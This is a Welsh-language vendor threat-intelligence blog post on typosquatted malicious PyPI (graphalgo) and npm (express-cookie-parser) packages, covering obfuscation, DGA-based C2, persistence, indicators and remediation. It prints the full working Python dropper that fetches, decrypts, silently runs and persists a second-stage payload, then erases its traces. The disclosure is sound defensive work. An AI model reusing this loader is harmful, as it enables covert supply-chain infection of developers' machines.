Ymosodiadau Cadwyn Gyflenwi Meddalwedd 2025 - pecynnau maleisus - pecynnau python maleisus - pecynnau npm maleisus

Golwg Agosach ar Ymosodiadau Cadwyn Gyflenwi Meddalwedd 2025: Cymharu Ymgyrchoedd PyPI ac npm

Yn ddiweddar, gwelodd Xygeni batrwm pryderus yn nhirwedd ymosodiadau cadwyn gyflenwi meddalwedd yn 2025., yn dod i'r amlwg ar draws dau reolwr pecynnau poblogaidd: PyPI ac npmFel rhan o'n hymdrechion parhaus i gasglu gwybodaeth am fygythiadau,Rhybudd Cynnar Maleisus Xygeni (MEW) Nododd offeryn enghraifft benodol ond tebyg yn fethodolegol o becyn maleisus a uwchlwythwyd i gofrestrfa arall yn flaenorol. Mae'r achos hwn yn tynnu sylw at sut mae actorion bygythiad yn esblygu ac yn ailddefnyddio technegau ymosod ar draws ecosystemau, yn enwedig drwy pecynnau Python maleisus ac pecynnau npm maleisus, sy'n cynyddu'r risg o becynnau maleisus yn treiddio i gadwyni cyflenwi ffynhonnell agored.

MEW Xygeni: Canfod y Tebygrwyddau

Mae offeryn MEW Xygeni wedi'i adeiladu i ganfod a nodi pecynnau maleisus, yn enwedig y rhai sy'n gysylltiedig ag Ymosodiadau Cadwyn Gyflenwi Meddalwedd yn 2025, cyn gynted ag y cânt eu cyhoeddi i gofrestrfeydd ffynhonnell agored. Mae'n gweithio trwy ddadansoddi pecynnau newydd am ymddygiad amheus.

Yn yr achos hwn, nododd ddau pecynnau Python maleisus (graphalgo ar PyPI) a pecynnau npm maleisus (express-cookie-parser ar npm).

Pecynnau Python ac npm maleisus mewn Ymosodiadau Cadwyn Gyflenwi Meddalwedd (2025)

Gadewch i ni archwilio'r nodweddion cyffredin a sbardunodd ein rhybuddion:

Typosquating

Ceisiodd y ddau efelychu pecynnau poblogaidd a oedd yn bodoli eisoes.

  • graffalgo (PyPI): "Pecyn Python ar gyfer creu a thrin graffiau a rhwydweithiau."Wedi'i uwchlwytho gan ddefnyddiwr o'r enw “larrytech” ar 13 Mehefin, 2025, cyflwynodd y pecyn hwn ei hun fel dewis arall PyPi i'r prosiect graphalgo gwreiddiol nad yw'n faleisus, a gafodd ei ailenwi'n graphdict yn ddiweddarach.
  • dadansoddydd-cwcis-express (npm)Roedd y pecyn hwn yn dynwared y pecyn cwcis-parser adnabyddus, hyd yn oed yn adlewyrchu ei README.md. Mae dynwared o'r fath yn dacteg glasurol i fanteisio ar ymddiriedaeth sy'n bodoli eisoes.

Drysu fel Llinell Amddiffyn Gyntaf

Fe wnaeth y ddau becyn guddio eu cod maleisus o fewn y ffeiliau gwreiddiol. graffalgo, daethpwyd o hyd i'r cod wedi'i guddio o fewn /utils/load_libraries.py. Yn achos dadansoddydd-cwcis-cyflym, cookie-loader.min.js yn cynnwys y llwyth tâl wedi'i guddio.

Defnyddir yr haen gychwynnol hon o gymylu fel arfer i rwystro archwiliad achlysurol a dadansoddiad statig. Roedd y cymylu yn eithaf syml: cywasgu ZLib dro ar ôl tro ynghyd ag amgodio Base64. Mae'r math hwn o gymylu yn dangos yn glir bod y feddalwedd yn ceisio cuddio ei hymddygiad. Ynghyd â thystiolaeth arall, caniataodd hyn i Xygeni MEW ddosbarthu'r pecynnau fel meddalwedd faleisus posibl. Yn ystod y cam cadarnhau, paratôdd ein hadolygwyr sgript dad-gymylu ar unwaith a ddatgelodd y cam gollwng maleisus amlwg.

Dosbarthu Llwyth Talu Aml-Gam a Phwynt Tarddiad a Rennir

Roedd y ddau becyn yn gweithredu fel “cychwynnol”droppers,” gan osod y llwyfan ar gyfer y llwyth tâl go iawn. Roeddent yn rhannu allanol cyffredin “hadau"URL ffeil:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

Mae'r ffeil hadau allanol union yr un fath hon yn arwydd cryf o actor bygythiad a rennir. Yn ddiddorol, mae cynnwys y ffeil hadau hon yn ymddangos fel newidynnau amgylcheddol syml (e.e., JWT_SECRET, PORT), a allai gamarwain archwiliad o'i swyddogaeth wirioneddol.

Datrysiad C2 Dynamig gyda DGA

Tacteg soffistigedig a welwyd yn y pecynnau maleisus hyn yw defnyddio Algorithm Cynhyrchu Parth (DGA) i ddatrys y gweinydd Gorchymyn a Rheoli (C2) yn ddeinamig. Mae'r dechneg hon, a welir yn aml mewn ymosodiadau cadwyn gyflenwi meddalwedd uwch yn 2025, yn dibynnu ar hash SHA256 sy'n deillio o gynnwys y ffeil hadau, ynghyd â gwerthoedd caled-godio eraill. Drwy wneud hynny, mae'r seilwaith C2 yn newid yn aml, gan wneud rhestru du traddodiadol yn llawer llai effeithiol. Yn yr achos hwn, defnyddiodd yr amrywiad npm werth sefydlog o 496AAC7E fel rhan o'i rhesymeg DGA.

Sefydlu Dyfalwch

Ceisiodd y ddau ymosodwr sefydlu presenoldeb parhaol ar systemau yr effeithiwyd arnynt. Roedd eu strategaeth yn cynnwys gollwng ffeil, startup.py (ar gyfer PyPi) neu startup.js (ar gyfer npm), i gyfeiriaduron data defnyddwyr cyffredin Google Chrome ar draws gwahanol systemau gweithredu (Windows, Linux, macOS).

Glanhau Ôl-Weithredu

Er mwyn lleihau olion, perfformiodd y ddau sgript maleisus weithrediadau glanhau. Roedd hyn yn cynnwys dileu eu ffeiliau gollwng cychwynnol (load_libraries.py, cookie-loader.min.js) ac addasu ffeiliau pecyn cyfreithlon (__init__.py, index.js) i gael gwared ar y cyfeiriadau at y cydrannau sydd bellach wedi'u dileu.

Dangosyddion o Gyfaddawd mewn Pecynnau Python ac npm Maleisus

  • Pecyn PyPI: graphalgo (cyhoeddwyd gan larrytech, 13 Mehefin, 2025)
  • Pecyn npm: express-cookie-parser (fersiwn 1.4.12 yn benodol)
  • Mynediad i URL Hadau a Rennir

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • Enwau Ffeiliau Parhaus: startup.py (Python) startup.js (JavaScript)
  • Llwybrau Parhaus Cyffredin (yn ddibynnol ar y system weithredu)O fewn cyfeiriaduron data defnyddwyr Google Chrome (e.e., AppData\Local\Google\Chrome\UserData\Scripts\ ar Windows, ~/.config/google-chrome/Scripts/ ar Linux, ac ati).

Sut i Amddiffyn yn Erbyn Pecynnau Maleisus mewn Ymosodiadau Cadwyn Gyflenwi Meddalwedd 2025

Dull Argymhelliedig ar gyfer Datblygwyr

Mae'r digwyddiad hwn yn astudiaeth achos werthfawr yn nhirwedd bygythiadau esblygol ymosodiadau cadwyn gyflenwi meddalwedd yn 2025. Mae'n tynnu sylw at sut y gall pecynnau Python maleisus a phecynnau npm maleisus lithro i ecosystemau dibynadwy, gan osgoi canfod yn aml nes ei bod hi'n rhy hwyr. Dyna pam mae canfod cynnar, offer clyfar, a hylendid system rhagweithiol bellach yn rhannau hanfodol o unrhyw lif gwaith DevOps diogel. Anogir datblygwyr i ystyried y canlynol:

Adolygiad Dibyniaeth

Os yw eich prosiectau wedi cynnwys graffalgo or dadansoddydd-cwcis-cyflym, byddai'n ddoeth bwrw ymlaen â'u symud.

  • Ar gyfer PyPI: pip uninstall graphalgo
  • Ar gyfer npm: npm uninstall express-cookie-parser

Hylendid System

Ystyriwch gynnal sgan system cynhwysfawr. Mae hefyd yn ddoeth gwirio llwybrau cyfeiriadur data defnyddwyr Chrome cyffredin â llaw am unrhyw bethau annisgwyl. startup.py or startup.js ffeiliau.

Mesurau Diogelwch Rhagweithiol

  • Asesu Dibyniaethau NewyddSefydlu trefn i werthuso pecynnau newydd yn drylwyr cyn integreiddio, gan ganolbwyntio ar y rhai gan gyhoeddwyr anghyfarwydd.
  • Integreiddio Offer DiogelwchOffer fel MEW Xygeni, ynghyd â Dadansoddi Cyfansoddiad Meddalwedd arall (SCA) atebion, yn gallu darparu haen hanfodol o amddiffyniad trwy nodi ymddygiadau amheus a gwendidau.
  • Braint LeiafGall gweithredu amgylcheddau datblygu gyda'r egwyddor o leiafswm breintiau helpu i gyfyngu ar effaith bosibl cyfaddawd.
  • Ymwybyddiaeth RhwydwaithGall monitro traffig rhwydwaith allanol am gysylltiadau anarferol ddatgelu cyfathrebiadau C2 a gynhyrchir gan DGA weithiau.

Cydrannau Allweddol o load_libraries.py (o graphalgo)

import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])

  • download_remote_content(): Yn trin nôl ffeiliau o URLau penodedig.
  • run_process()Yn gweithredu sgriptiau Python allanol mewn modd datgysylltiedig, gan atal allbwn i aros yn ddisylw.
  • get_output_file_path(): Yn pennu'r lleoliad system delfrydol ar gyfer y ffeil startup.py parhaus.
  • remove_self(): Yn trefnu'r glanhau ôl-weithredu o'r ffeiliau maleisus cychwynnol a'r addasiadau pecynnau.
  • simple_shift_encrypt() / simple_shift_decrypt()Swyddogaethau cryptograffig personol ar gyfer cuddio sianeli cyfathrebu, sy'n hanfodol ar gyfer gweithredu'r DGA.
  • load_libraries(): Y swyddogaeth ganolog sy'n cydlynu'r broses aml-gam gyfan, o'r lawrlwythiad cychwynnol i weithredu a glanhau'r llwyth tâl terfynol.

Wedi hynny

Fel gyda phecynnau maleisus eraill a nodwyd gan MEW, amddiffynnodd y wal dân dibyniaeth ddefnyddwyr a fyddai'n cynnwys y pecynnau maleisus hyn yn eu dibyniaethau ar unwaith. Ar ôl cadarnhad, dilynwyd y gweithdrefnau hysbysu ar gyfer y ddau gofrestrfa, a ar ôl adolygiad tynnwyd y ddau becyn.

offer-sca-meddalwedd-offer-dadansoddi-cyfansoddiad
Blaenoriaethu, unioni a diogelu eich risgiau meddalwedd
Cael eich Cyfrif Am Ddim.
Nid oes angen cerdyn credyd.

Sicrhau eich Datblygiad a Chyflwyniad Meddalwedd

gyda Phecyn Cynnyrch Xygeni